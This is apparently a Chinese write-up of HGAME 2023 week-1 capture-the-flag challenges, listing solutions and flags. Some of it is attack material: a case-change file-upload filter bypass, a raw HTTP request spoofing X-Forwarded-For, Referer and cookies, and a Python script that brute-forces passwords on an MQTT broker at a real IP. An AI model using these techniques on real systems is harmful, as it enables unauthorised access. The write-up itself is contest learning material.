WEB

Classic Childhood Game

找到剧情文件，一路找下去，找到最后有一个mota函数，输出一下的得到flag

```
hgame{fUnnyJavascript&FunnyM0taG4me}
```

Show Me Your Beauty

文件上传，大小写绕过即可

```
hgame{Unsave_F1L5_SYS7em_UPL0ad!}
```

Guess Who I Am

题目要求答对100题目，写一个python代劳

```
import re
import requests

with open('name.txt', 'r', encoding='UTF-8') as f:
    txt = f.read()

name = re.findall("\"id\": \"(.*?)\"", txt)
intro = re.findall("\"intro\": \"(.*?)\"", txt)
session = requests.session()
burp0_url = "http://week-1.hgame.lwsec.cn:31235/api/verifyAnswer"
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
session.proxies = proxies
burp0_url0 = "http://week-1.hgame.lwsec.cn:31235/api/getQuestion"
for n in range(120):
    res0 = session.get(burp0_url0)
    question = re.findall("\"message\":\"(.*?)\"", res0.text)
    for i in range(len(intro)):
        if question != []:
            if question[0][:3] == intro[i][:3]:
                burp0_data = {"id": name[i]}
                res = session.post(burp0_url, data=burp0_data, proxies=proxies)
                if "Congratulations" in res.text:
                    res = session.get("http://week-1.hgame.lwsec.cn:31235",
proxies=proxies)
        else:
            pass
```

bp监听，得到最后的session，打过去得到flag

```
hgame{Guess_who_i_am^Happy_Crawler}
```

Become A Member

考察http

payload

```
GET / HTTP/1.1
Host: week-1.hgame.lwsec.cn:30526
User-Agent: Cute-Bunny
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: bunnybunnybunny.com
X-Forwarded-For:127.0.0.1
Cookie: code=Vidar
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 47

{"username":"luckytoday","password":"happy123"}
```

MSIC

Sign In

就一串base64，解一下就好了

```
aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==
hgame{Welcome_To_HGAME2023!}
```

Where am I

流量，里面的http中传了一个RAR文件，提取一下，jpg head 损坏，不过直接winRAR能直接打开，打开后查看图片的GPS里面找到经纬度信息

```
hgame{116_24_1488_E_39_54_5418_N}
```

e99p1ant_want_girlfriend

说CRC不会，一般就是宽高隐写，改一下高度得到flag

```
hgame{e99p1ant_want_a_girlfriend_qq_524306184}
```

神秘的海报

LSB隐写得到半个flag，另一个提示了steghide隐写，并告诉我们password为6位数字

盲猜123456，得到后半个flag

```
hgame{U_Kn0w_LSB&Wav^Mp3_Stego}
```

Iot

Help the uncle who can't jump twice

给的是broker:117.50.177.240:1883

推测应该是mqtt协议，并且给了我们一个密码字典，所以我们需要写脚本爆破一下

设置用户名为Vergil，订阅Nero下的YAMATO，也就是Nero/YAMATO

```
import time

import paho.mqtt.client as mqtt
# The callback for when the client receives a CONNACK response from the server.
def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("success")
        print("Connected with result code " + str(rc))
    else:
        print("fail")
        return 0

def on_message(client, userdata, msg):
    print(msg.topic + " " + str(msg.payload))

with open('Songs of Innocence and of Experience.txt', 'r') as f:
    list = f.read().split("\n")
    print(list)
for password in list:
    print(password)
    client = mqtt.Client()
    client.username_pw_set("Vergil", password)
    client.on_connect = on_connect
    client.on_message = on_message
    client.connect(host="117.50.177.240", port = 1883, keepalive=60)
    time.sleep(1)
    client.subscribe("Nero/YAMATO")
    # client.subscribe([("YAMATO", 0), ("test", 2)])
    # client.loop_forever()
    client.loop_start()  #非阻塞
    client.disconnect()
```

得到密码为power，连接服务得到flag

Help marvin

附件是一个.sr文件，又提示了SPI，那么就应该是一段SPI协议的传输，用PluseView打开，发现是三线的，也就是clk线，MOSI/MISO，以及cs线，频率最高的一般来说就是clk线，MOSI/MISO作为输入，那么另外一根变化频率的线就是它了，cs作为片选信号不经常变动

于是在`PluseView`点击`Add protocol decode`，新增一个`SD card(SPI mode)`的解码器，三条线的顺序为021，至于MOSI/MISO哪一个作为输入，在这里并没有什么区别

```
hgame{4_5t4nge_Sp1}
```

Re

test your IDA

打开IDA，分析一下exe文件，在main函数的伪代码中找到flag